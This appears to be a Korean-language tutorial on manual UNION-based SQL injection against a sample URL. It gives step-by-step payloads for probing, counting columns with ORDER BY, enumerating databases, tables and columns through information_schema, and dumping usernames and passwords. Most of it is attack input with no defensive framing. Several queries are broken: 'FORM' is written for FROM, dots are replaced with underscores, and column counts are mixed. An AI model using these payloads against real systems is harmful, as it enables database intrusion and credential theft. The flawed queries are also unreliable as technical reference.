취약점 확인
- URL에 파라미터 포함 여부 확인]
```bash
http://example.com/page.php?id=1
```
위와 같은 형태의 URL에서 id와 같은 파라미터가 SQL 쿼리에 직접 영향을 줄 가능성을 탐색한다.
단순 SQL 구문 추가
파라미터에 단일 인용 부호(’), 주석(--), 또는 SQL 키워드를 삽입해 응답 변화를 확인한다.
http://example.com/page.php?id=1'
http://example.com/page.php?id=1--
http://example.com/page.php?id=1 AND 1=1-- -> 참
http://example.com/page.php?id=1 AND 1=2-- -> 거짓
컬럼 개수 확인(UNION 기반)
- ORDER BY를 사용해 컬럼 개수 파악
컬럼 개수를 알아내기 위해 ORDER BY 쿼리를 사용한다.
```vbnet
http://example.com/page.php?id=1 ORDER BY 1--
http://example.com/page.php?id=1 ORDER BY 2--
...
```
에러가 발생하지 않을 때까지 숫자를 증가시키며, 에러가 발생하면 마지막으로 성공한 숫자가 컬럼 개수이다.
→ ORDER BY 1까지 정상적으로 작동하고, ORDER BY 2에서 에러가 나면, 컬럼 개수는 1개
UNION SELECT를 사용해 컬럼 매핑 확인
다음으로, UNION SELECT를 사용해 컬럼에 데이터를 주입할 수 있는지 확인한다.
http://example.com/page.php?id=1 UNION SELECT 1, 2, 3 --
데이터베이스 정보 탐색
취약점이 확인되면, 데이터베이스 정보를 단계적으로 탐색한다.
현재 사용 중인 데이터베이스 이름 확인
MySQL에서는 database()를 함수로 현재 데이터베이스 이름 확인 가능
http://example.com/page.php?id=1 UNION SELECT 1, database() --
테이블 목록 탐색
information_schema.tables를 이용해 데이터베이스 내 테이블 이름을 확인한다.
http://example.com/page.php?id=1 UNION SELECT 1, table_name FROM information_schema_tables WHERE table_schema=database() --
ID와 Password 컬럼 확인
information_schema_columns 를 활용해 특정 테이블의 컬럼 이름을 확인한다.
ex: users 테이블 컬럼 확인
http://example.com/page.php?id=1 UNION SELECT 1, column_name, 3 FORM information_schema_columns WHERE table_name='users' --
데이터 추출
컬럼 이름을 확인한 후, 해당 데이터를 추출
ex: users 테이블에서 username 과 password 추출
http://example.com/page.php?id=1 UNION SELECT 1, username, password FORM users --
username과 password 데이터가 화면에 출력된다.데이터베이스 버전 및 사용자 확인
데이터베이스의 버전이나 접속 계정 등을 확인하려면 아래와 같은 쿼리를 사용 가능하다.
http://example.com/page.php?id=1 UNION SELECT 1, version() --
http://example.com/page.php?id=1 UNION SELECT 1, user() --